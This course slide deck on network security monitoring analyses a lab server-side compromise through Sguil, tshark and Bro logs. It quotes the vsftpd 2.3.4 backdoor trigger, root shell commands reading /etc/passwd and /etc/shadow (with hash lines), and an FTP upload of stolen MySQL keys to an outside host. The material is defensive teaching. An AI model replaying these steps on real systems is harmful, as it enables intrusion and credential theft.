Analyzing Network Compromise

INFO-6081 – Monitoring & Incident Response




Learning Outcomes

- Server-Side Compromise
- Server-Side Compromise Example
- Server-Side Compromise Review



Server-Side Compromise

- Server-side compromise generally occurs when an intruder gains access to an application that has been exposed to the internet
- The intruder will use the knowledge he gain during the reconnaissance phase to accomplish this (Cat 6 incident)





Server-Side Compromise

- When the intruder attempts to run malicious code against a vulnerability, the incident is re-classified as a Cat3
- If the exploitation is successful, the intruder will most likely try to establish a control channel on the server (Breach3)
- The intruder can then attempt to steal data from this server, or attempt to pivot to another host to gain access to the desired data
- If the intruder successfully manages to exfiltrate sensitive data, the incident is re-classified as a Breach1




- The test network was created by the CSIRT to test scenarios and learn more about security; however, they failed to properly secure the network and left the server exposed to the internet
- NAT is not configured in the environment





- Many alerts are generated by the Passive Real-Time Asset Detection System (PRADS), and are sourced with a public IP address (203.0.113.10), in this case the intruders IP
- PRADS reports the discovery of new services on two hosts in the test network
- The PRADS alerts suggests that the intruder conducted reconnaissance against the hosts in question
- To confirm suspicions of reconnaissance, we can query the Sancp table to view session data related to the hosts






| ICMP





			SGUIL-0.8.0	- Connected T	o localho	st						↑ - □ {
ile <u>Q</u> uery	<u>R</u> eports Sound	l: Off ServerName: loca	lhost UserName: sovn	n UserID: 2						2	2013-03-13	18:29:58 GN
RealTime Eve	ents Escalated E	vents Sancp Query 1)									
		ostname, sancp.sid, san										Submit
		.dst_ip), sancp.dst_port,										Edit
(p	_key) INNER JOI	N sensor ON sancp.sid=	sensor.sid WHERE sanc	p.start_time > '2	013-03-09	AND sancp.src_	ip = INET_A	TON(203.0.113	.10')) UN		<u> </u>
Sensor	Cnx ID △	Start Time	End Time	Src IP	SPort	Dst IP	DPort	Pr	S Pckts	S Byte	s DPc	D Bytes
sovm-eth1	5.1362864	2013-03-09 21:32:01	2013-03-09 21:32:01	203.0.113.10	53191	192.168.3.5	2049	6	2	44	1	24
sovm-eth1	5.1362864	2013-03-09 21:32:01	2013-03-09 21:32:01	203.0.113.10	53191	192.168.3.5	2121	6	2	44	1	24
sovm-eth1	5.1362864	2013-03-09 21:32:01	2013-03-09 21:32:01	203.0.113.10	53191	192.168.3.5	21	6	2	44	1	24
sovm-eth1	5.1362864	2013-03-09 21:32:01	2013-03-09 21:32:01	203.0.113.10	53191	192.168.3.5	513	6	2	44	1	24
sovm-eth1	5.1362864	2013-03-09 21:32:01	2013-03-09 21:32:01	203.0.113.10	53191	192.168.3.5	53	6	2	44	1	24
sovm-eth1	5.1362864	2013-03-09 21:32:01	2013-03-09 21:32:01	203.0.113.10	53191	192.168.3.5	3306	6	2	44	1	24
sovm-eth1	5.1362864	2013-03-09 21:32:04	2013-03-09 21:32:04	203.0.113.10	53202	192.168.3.13	135	6	1	24	1	20
sovm-eth1	5.1362864	2013-03-09 21:32:06	2013-03-09 21:32:06	203.0.113.10	53203	192.168.3.13	135	6	1	24	1	20
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:18	203.0.113.10	47963	192.168.3.5	8180	6	5	172	3	104
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:18	203.0.113.10	56007	192.168.3.5	139	6	5	186	3	104
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	37519	192.168.3.5	5432	6	4	140	4	136
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	41514	192.168.3.5	8009	6	4	154	4	136
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	42810	192.168.3.5	6000	6	4	158	4	136
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:07	203.0.113.10	47085	192.168.3.5	22	6	5	168	3	142
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	50577	192.168.3.5	23	6	6	204	4	148
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:07	203.0.113.10	59270	192.168.3.5	5900	6	5	168	4	148
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	35347	192.168.3.5	1099	6	5	175	4	152
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	58931	192.168.3.5	2049	6	6	244	4	164
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:23	203.0.113.10	45304	192.168.3.5	513	6	5	188	5	169
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	37866	192.168.3.5	111	6	6	244	4	172
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	52693	192.168.3.5	512	6	4	168	5	172
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	44125	192.168.3.5	2121	6	6	204	4	192
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	38307	192.168.3.5	53	6	6	232	4	200
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	35387	192.168.3.5	514	6	4	154	5	207
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	46856	192.168.3.5	25	6	6	194	4	218
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:07	203.0.113.10	46866	192.168.3.5	21	6	6	176	5	228
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:13	203.0.113.10	51225	192.168.3.5	445	6	6	368	4	237
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	54794	192.168.3.5	3306	6	6	204	6	286
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:18	203.0.113.10	52157	192.168.3.5	1524	6	9	276	7	352
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:17	203.0.113.10	34202	192.168.3.5	6667	6	6	176	5	395
sovm-eth1	5.1362864	2013-03-09 21:32:07	2013-03-09 21:32:14	203.0.113.10	58527	192,168,3,5	80	6	9	326	7	1305





```
Sensor Name: sovm-eth1-1
Timestamp: 2013-03-09 21:38:38
Connection ID: .sovm-eth1-1 6011
Src IP: 203.0.113.100 (Unknown)
Dst IP: 192.168.3.50 (Unknown)
Src Port: 50376
Dst Port: 218
OS Fingerprint: 203.0.113.10:50376 - UNKNOWN
[S10:63:1:60:M1460,S,T,N,W4:.:?:?] (up: 1 hrs)
OS Fingerprint: -> 192.168.3.5:21 (link: ethernet/modem)
DST: 220 (vsFTPd 2.3.4) @
DST:
SRC: USER 0M:) 6
SRC:
DST: 331 Please specify the password.
DST:
SRC: PASS azz6
SRC:
DST: 421 Timeout.
DST:
```

```
Command Prompt - tshark
6589 2013-03-09 21:38:38.159255 203.0.113.10<sup>1</sup> -> 192.168.3.5<sup>3</sup>
TCP 74 40206 > 62002 [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK PERM=1 TSval=695390 TSecr=0 WS=16
6590 2013-03-09 21:38:38.159451 192.168.3.5 -> 203.0.113.10
TCP 60 6200 > 40206 [RST, ACK] \stackrel{4}{\circ} Seq=1 Ack=1 Win=0 Len=0
```

```
Command Prompt - tshark
6591 2013-03-09 21:38:38.160692 203.0.113.101 -> 192.168.3.53
TCP 74 50376 > 212 [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK PERM=1 TSval=695390 TSecr=0 WS=16
6592 2013-03-09 21:38:38.160702 192.168.3.5 -> 203.0.113.10
TCP 74 21 > 50376 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460
SACK PERM=1 TSval=276175 TSecr=695390 WS=32
6593 2013-03-09 21:38:38.161131 203.0.113.10 -> 192.168.3.5
TCP 66 50376 > 21 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695390 TSecr=276175
6594 2013-03-09 21:38:38.162679 192.168.3.5 -> 203.0.113.10
FTP 86 Response: 220 (vsFTPd 2.3.4)
6595 2013-03-09 21:38:38.163164 203.0.113.10 -> 192.168.3.5
TCP 66 50376 > 21 [ACK] Seq=1 Ack=21 Win=14608 Len=0 TSval=695391 TSecr=276175
6596 2013-03-09 21:38:38.164876 203.0.113.10 -> 192.168.3.5
FTP 77 Request: USER 0M:) 4
6597 2013-03-09 21:38:38.164886 192.168.3.5 -> 203.0.113.10
TCP 66 21 > 50376 [ACK] Seq=21 Ack=12 Win=5792 Len=0 TSval=276175 TSecr=695391
6598 2013-03-09 21:38:38.164888 192.168.3.5 -> 203.0.113.10
FTP 100 Response: 331 Please specify the password.
6599 2013-03-09 21:38:38.166318 203.0.113.10 -> 192.168.3.5
FTP 76 Request: PASS azz5
```

```
Command Prompt - tshark
6600 2013-03-09 21:38:38.166971 203.0.113.101 -> 192.168.3.53
TCP 74 60155 > 62002 [SYN] Seq=0 Win=14600 Len=0 MSS=1460
SACK PERM=1 TSval=695392 TSecr=0 WS=16
6601 2013-03-09 21:38:38.166978 192.168.3.5 -> 203.0.113.10
TCP 74 6200 > 60155 [SYN, ACK] 4 Seq=0 Ack=1 Win=5792 Len=0 MSS=1460
SACK PERM=1 TSval=276175 TSecr=695392 WS=32
6602 2013-03-09 21:38:38.168296 203.0.113.10 -> 192.168.3.5
TCP 66 60155 > 6200 [ACK] Seq=1 Ack=1 Win=14608 Len=0 TSval=695392 TSecr=276175
6603 2013-03-09 21:38:38.168738 203.0.113.10 -> 192.168.3.5
TCP 69 60155 > 6200 [PSH, ACK] Seq=1 Ack=1 Win=14608 Len=3 TSval=695392 TSecr=276175
6604 2013-03-09 21:38:38.168775 192.168.3.5 -> 203.0.113.10
TCP 66 6200 > 60155 [ACK] Seq=1 Ack=4 Win=5792 Len=0 TSval=276175 TSecr=695392
-- snip --
```

Intruder

203.0.113.10

1. Intruder initiates attack against exposed, vulnerable application on victim system. NETWORK CONNECTION to port 21 TCP Intruder Victim 203.0.113.10 192.168.3.5 2. Attack method exploits vulnerable application on victim system to execute code or commands. user om:) pass azz NETWORK CONNECTION to port 6200 TCP

Victim

192.168.3.5

3. Malicious code interacts with intruder: Intruder initiates new connection to backdoor created by malicious code.

```
Sensor Name: sovm-eth1-1
Timestamp: 2013-03-09 21:38:38
Connection ID: .sovm-eth1-1 6012
Src IP: 203.0.113.10 0 (Unknown)
Dst IP: 192.168.3.5 @ (Unknown)
Src Port: 60155
Dst Port: 6200
OS Fingerprint: 203.0.113.10:60155 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:?] (up: 1
hrs)
OS Fingerprint: -> 192.168.3.5:6200 (link: ethernet/modem)
SRC: id 6
DST: uid=0(root) gid=0(root) 4
SRC: nohup >/dev/null 2>&1
SRC: echo T33KwxKuFgj4Uhy7
DST: T33KwxKuFgj4Uhy7
SRC: whoami 6
DST: root 6
SRC: echo 3816568630;echo hJZeerbzDFqlJEwWxlyePwOzBhEhQYbN
DST: 3816568630
DST: hJZeerbzDFqlJEwWxlyePwOzBhEhQYbN
SRC: id -uv ;echo idGIIxVuiPbrznIwlhwdADqMpAAyLIljo
DST: 0 8
DST: idGIIxVuiPbrznIwlhwdADqMpAAyLIlj
```

```
DST: # dmidecode 2.9
DST: SMBIOS 2.4 present.
DST: 364 structures occupying 16040 bytes.
DST: Table at 0x000E0010.
-- snip -
DST: Handle 0x016B, DMI type 127, 4 bytes
DST: End Of Table
DST: WgyRBNDvogzwtPMOWXAZNDHVcgKrjVOA
SRC: ls /etc@ ;echo PZhfAinSgdJcyhYaCgAcFDjvciEFALXs
DST: X11
DST: adduser.conf
DST: adjtime
DST: aliases
DST: aliases.db
-- snip -
DST: wgetrc
DST: wpa_supplicant
DST: xinetd.conf
DST: xinetd.d
DST: zsh command not found
DST: PZhfAinSgdJcyhYaCgAcFDjvciEFALXs
```

```
SRC: uname -a ;echo gSQsJbnmNmNLEqElLTNRfxfLUQNndGaS
DST: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
i686 GNU/Linux4
DST: gSQsJbnmNmNLEqE1LTNRfxfLUQNndGaS
SRC: cat '/etc/issue'5;echo KoDdtYNGyWHGPIkHITZtMAYrhsyckIIC
DST:
DST:
DST:
DST:
DST:
DST: Warning: Never expose this VM to an untrusted network!
DST: Contact: msfdev[at]metasploit.com
DST: Login with msfadmin/msfadmin to get started 6
DST: KoDdtYNGyWHGPIkHITZtMAYrhsyckIIC
SRC: hostname; echo SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ
DST: metasploitable
DST: SBRTSpmkeFZNpuHOMmcQUhMbnPnbNWPQ
```

```
SRC: cat '/etc/passwd'•;echo nRVObgMSefnPCAljIfCKrtCxyxAFwbXo
SRC:
DST: root:x:0:0:root@ :/root:/bin/bash
DST: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
DST: bin:x:2:2:bin:/bin:/bin/sh
DST: sys:x:3:3:sys:/dev:/bin/sh
DST: sync:x:4:65534:sync:/bin:/bin/sync
-- snip -
DST: nRVObgMSefnPCAljIfCKrtCxyxAFwbXo
SRC: cat '/etc/shadow® ';echo YMIULmTNrfStudFPMoeddbhSAwYHGUKY
DST: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::4
DST: daemon:*:14684:0:99999:7:::
DST: bin:*:14684:0:99999:7:::
DST: sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD910:14742:0:99999:7:::
DST: sync:*:14684:0:99999:7:::
-- snip --
DST: CKNszVzdeRiiApmbrdHsuAolRXRtIFfF
SRC: ping -c 1 www.google.com6
SRC:
SRC: pwd
SRC:
DST: ping: unknown host www.google.com6
DST:
```

DST: vsf sysutil recv peek: no data

```
Sensor Name: sovm-eth1
Timestamp: 2013-03-09 21:46:37
Connection ID: .sovm-eth1 1362865597000002352
Src IP: 203.0.113.10 (Unknown)
Dst IP: 192.168.3.134 (Unknown)
Src Port: 49220
Dst Port: 210
OS Fingerprint: 203.0.113.10:49220 - UNKNOWN [S10:63:1:60:M1460,S,T,N,W4:.:?:?] (up: 2
hrs)
OS Fingerprint: -> 192.168.3.13:21 (link: ethernet/modem)
DST: 220 (vsFTPd 2.3.5) 6
SRC: USER 1dxF:) 1
SRC:
DST: 331 Please specify the password.
DST:
SRC: PASS 0ibjZ
SRC:
DST: 530 Login incorrect. 6
DST:
DST: 500 OOPS:
```

		9	GUIL-0.8.0 - Connec	ted To localho	st					•	8	
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2									2013-0	2013-03-13 21:42:34 GM		
RealTime Events Escalated Events Sancp Query 1 Sancp Query 2 Sancp Query 3 Sancp Query 4												
d	NDEX (p_key) INNER JOIN s st_port!=137 and dst_port!: NET_NTOA(sancp.src_ip), sa	=138) UNION (SELECT s	ensor.hostname, sancı	o.sid, sancp.sand	cpid, sancp	o.start_time as date	etime, sancp	.end_t	ime,		Submit Edit	
Sensor	Cnx ID	Start Time	End Time	Src IP	SPort	Dst IP	DPort	Pr		S Byt	. DPc.	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	395	192.168.3.5	111	6	6	244	4	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	497	192.168.3.5	2049	6	6	244	4	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	524	192.168.3.5	513	6	3	148	3	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	647	192.168.3.5	2049	6	8	352	5	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	683	192.168.3.5	2049	6	8	352	5	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	719	192.168.3.5	111	6	6	244	4	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:48	203.0.113.10	853	192.168.3.5	1524	6	7	252	5	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	916	192.168.3.5	111	6	6	244	4	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	927	192.168.3.5	111	6	6	244	4	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:18	203.0.113.10	997	192.168.3.5	2049	6	8	352	5	
sovm-eth1	5.1362864858000002	2013-03-09 21:34:18	2013-03-09 21:34:23	192.168.3.5	48092	192.168.3.1	53	17	2	102	0	
sovm-eth1	5.1362865118000002	2013-03-09 21:38:38	2013-03-09 21:38:38	203.0.113.10	40206	192.168.3.5	6200	6	1	40	1	
sovm-eth1	5.1362865118000002	2013-03-09 21:38:38	2013-03-09 21:43:38	203.0.113.10	50376	192.168.3.5	21	6	8	261	8	
sovm-eth1	5.1362865118000002	2013-03-09 21:38:38	2013-03-09 21:47:28	203.0.113.10	60155	192.168.3.5	6200	6	1317	65447	1449	
sovm-eth1	5.1362865235000002	2013-03-09 21:40:35	2013-03-09 21:40:40	192.168.3.5	60307	192.168.3.1	53	17	2	100	0	
sovm-eth1	5.1362865628000002	2013-03-09 21:47:08	2013-03-09 21:47:13	192.168.3.5	36911	192.168.3.1	53	17	2	80	0	
sovm-eth1	5.1362865638000002	2013-03-09 21:47:18	2013-03-09 21:47:23	192.168.3.5	49467	192.168.3.1	53	17	2	104	0	
sovm-eth1	5.1362880783000002	2013-03-10 01:59:43	2013-03-10 02:00:43	203.0.113.77	0	192.168.3.5	0	1	2	128	2	
sovm-eth1	5.1362880870000002	2013-03-10 02:01:10	2013-03-10 02:03:24	203.0.113.77	65438	192.168.3.5	22	6	309	19145	207	
sovm-eth1	5.1362880872000002	2013-03-10 02:01:12	2013-03-10 02:01:17	192.168.3.5	51268	192.168.3.1	53	17	2	102	0	
sovm-eth1	5.1362880970000002	2013-03-10 02:02:50	2013-03-10 02:03:15	192.168.3.5	32904	203.0.113.4	21	6	23	878	17	
sovm-eth1	5.1362880986000002	2013-03-10 02:03:06	2013-03-10 02:03:06	203.0.113.4	20	192.168.3.5	33012	6	587	18792	639	
sovm-eth1	5.1362880991000002	2013-03-10 02:03:11	2013-03-10 02:03:11	203.0.113.4	20	192.168.3.5	56377	6	4	769	3	
sovm-eth1	5.1362959491000006	2013-03-10 23:51:31	2013-03-10 23:51:37	192.168.3.5	1099	203.0.113.10	35347	6	6	192	0	

```
X
Command Prompt - dns.log
$ zcat dns.21\:31\:10-22\:00\:00.log.gz | bro-cut -d | grep 192.168.3.5 |
grep -v WORKGROUP
-- snip --
2013-03-09T21:40:35+0000 k3hPbe4s2H2 192.168.3.51 60307
192.168.3.1 53 udp 40264 2.3.168.192.in-addr.arpa3 1
C INTERNET 12 PTR<sup>2</sup> - - F F T F
0 --
2013-03-09T21:47:08+0000 i1zTu4rfvvk 192.168.3.54 36911
192.168.3.1 53 udp 62798 www.google.com6 1
C INTERNET 1 A - - F F T F
0 - -
2013-03-09T21:47:18+0000 H5Wjg7kx02d 192.168.3.55 49467
192.168.3.1 53 udp 32005 www.google.com.localdomain 7 1
C INTERNET 1 A - - F F T F
0 -
```

```
Command Prompt - ssh.log
zcat ssh.02\:03\:29-03\:00\:00.log.gz | bro-cut -d
2013-03-10T02:01:10+0000 8zAB2nsjjYd 203.0.113.771 65438
192.168.3.5<sup>2</sup> 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13v11
FreeBSD-20110503 SSH-2.0-OpenSSH 4.7p1 Debian-8ubuntu1 16678 AU
```

```
Command Prompt - ssh.log
$ zcat ssh.02\:03\:29-03\:00\:00.log.gz
#separator \x09
#set separator,
#empty_field (empty)
#unset field -
#path ssh
#open 2013-03-10-02-03-29
#fields ts uid id.orig h id.orig p id.resp h
id.resp p status direction client server resp size
remote location.country code remote location.region remote location.city
remote location.latitude remote location.longitude
#types time string addr port addr port string enum string
string count string string double double
1362880870.544761 8zAB2nsjjYd 203.0.113.77 65438
192.168.3.5 22 success INBOUND SSH-2.0-OpenSSH 5.8p2 hpn13v11
FreeBSD-201105031 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu12 16678 AU
#close 2013-03-10-03-00-00
```

```
Command Prompt - ftp.log
$ zcat ftp.02\:03\:11-03\:00\:00.log.gz
#separator \x09
#set separator,
#empty_field (empty)
#unset field -
#path ftp2
#open 2013-03-10-02-03-11
#fields ts uid id.orig_h id.orig_p id.resp_h
id.resp_p user password command arg mime_type mime_
desc file size reply code reply msg tags
extraction file
#types time string addr port addr port string string
string string count count string table[string] file
1362880986.113638 FVmgKldpQ05 192.168.3.53 32904
203.0.113.44 21 orr <hidden> STOR ftp://203.0.113.4/./
mysql-ssl.tar.gz1 application/x-gzip gzip compressed data, from
FAT filesystem (MS-DOS, OS/2, NT) - 226 Transfer complete.
#close 2013-03-10-03-00-00
```

```
Sensor Name: sovm-eth1
Timestamp: 2013-03-10 02:02:50
Connection ID: .sovm-eth1 1362880970000002980
Src IP: 192.168.3.5 (Unknown)
Dst IP: 203.0.113.4 (Unknown)
Src Port: 32904
Dst Port: 21
OS Fingerprint: 192.168.3.5:32904 - Linux 2.6 (newer, 1) (up: 5 hrs)
OS Fingerprint: -> 203.0.113.4:21 (distance 0, link: ethernet/modem)
DST: 220 freebsdvm6 FTP server (Version 6.00LS) ready.
DST:
SRC: USER orr@
SRC:
DST: 331 Password required for orr.
DST:
SRC: PASS bobby 1
SRC:
DST: 230 User orr logged in.
DST:
SRC: SYST
SRC:
```

```
DST: 215 UNIX Type: L8 Version: BSD-199506
DST:
SRC: TYPE I
SRC:
DST: 200 Type set to I.
DST:
SRC: PORT 192,168,3,5,128,244
SRC:
DST: 200 PORT command successful.
DST:
SRC: STOR mysql-ssl.tar.gz
SRC:
DST: 150 Opening BINARY mode data connection for 'mysql-ssl.tar.gz'.
DST:
```


```
П
                                                                                           X
  Command Prompt - tcpflow
$ tcpflow -r /nsm/sensor data/sovm-eth1/dailylogs/2013-03-10/snort.log.1362873602 port
201
$ 1s2
192.168.003.005.33012-203.000.113.004.000203 203.000.113.004.00020-
192.168.003.005.563774
report.xml5
$ file *6
192.168.003.005.33012-203.000.113.004.000207: gzip compressed data, from Unix, last
modified:
Sun Mar 10 02:02:23 2013
203.000.113.004.00020-192.168.003.005.563778: ASCII text, with CRLF line terminators
report.xml: XML document text
```

```
X
Command Prompt - cat
$ cat 203.000.113.004.00020-192.168.003.005.56377
total 1936
drwxr-xr-x 2 orr orr 512 Mar 9 21:03 .
drwxr-xr-x 4 root wheel 512 Mar 9 20:47 ...
-rw-r--r-- 1 orr orr 1016 Mar 9 20:47 .cshrc
-rw-r--r-- 1 orr orr 254 Mar 9 20:47 .login
-rw-r--r-- 1 orr orr 165 Mar 9 20:47 .login conf
-rw----- 1 orr orr 381 Mar 9 20:47 .mail aliases
-rw-r--r-- 1 orr orr 338 Mar 9 20:47 .mailrc
-rw-r--r-- 1 orr orr 750 Mar 9 20:47 .profile
-rw----- 1 orr orr 283 Mar 9 20:47 .rhosts
-rw-r--r-- 1 orr orr 980 Mar 9 20:47 .shrc
-rw-r--r-- 1 orr orr 915349 Mar 9 21:03 mysql-ssl.tar.gz9
```


```
Command Prompt - cat
$ tar -xzvf 192.168.003.005.33012-203.000.113.004.00020
mysql-ssl/
mysql-ssl/yassl-1.9.8.zip
mysql-ssl/my.cnf
mysql-ssl/mysqld.gdb
mysql-ssl/mysql-keys/
mysql-ssl/mysql-keys/server-cert.pem
mysql-ssl/mysql-keys/ca-cert.pem
mysql-ssl/mysql-keys/client-req.pem
mysql-ssl/mysql-keys/server-key.pem
mysql-ssl/mysql-keys/server-req.pem
mysql-ssl/mysql-keys/client-key.pem
mysql-ssl/mysql-keys/client-cert.pem
mysql-ssl/mysql-keys/ca-key.pem
```

Server-Side Compromise Review

1. Intruder conducts reconnaissance against two potential victims.



Server-Side Compromise Review



Victim 1 192.168.3.5

203.0.113.77

6. Intruder 2 instructs Victim 1 to upload stolen data to FTP server on Intruder 3. SSH CONNECTION

Intruder 2 203.0.113.77 FTP CONNECTION

Victim 1 192.168.3.5

Intruder 3 203.0.113.4

Summary

- Server-side compromise is often the result of an attacker connecting to an internet facing host and taking advantage of a vulnerability
- Internet facing hosts are regular targets for all manners of scanning
- When looking for signs of compromise, a victim-centric approach is often preferred



References

 Bejtlich, R. (2013). Chapter 10: Server-side Compromise. In The practice of network security monitoring understanding incident detection and response. San Francisco: No Starch Press.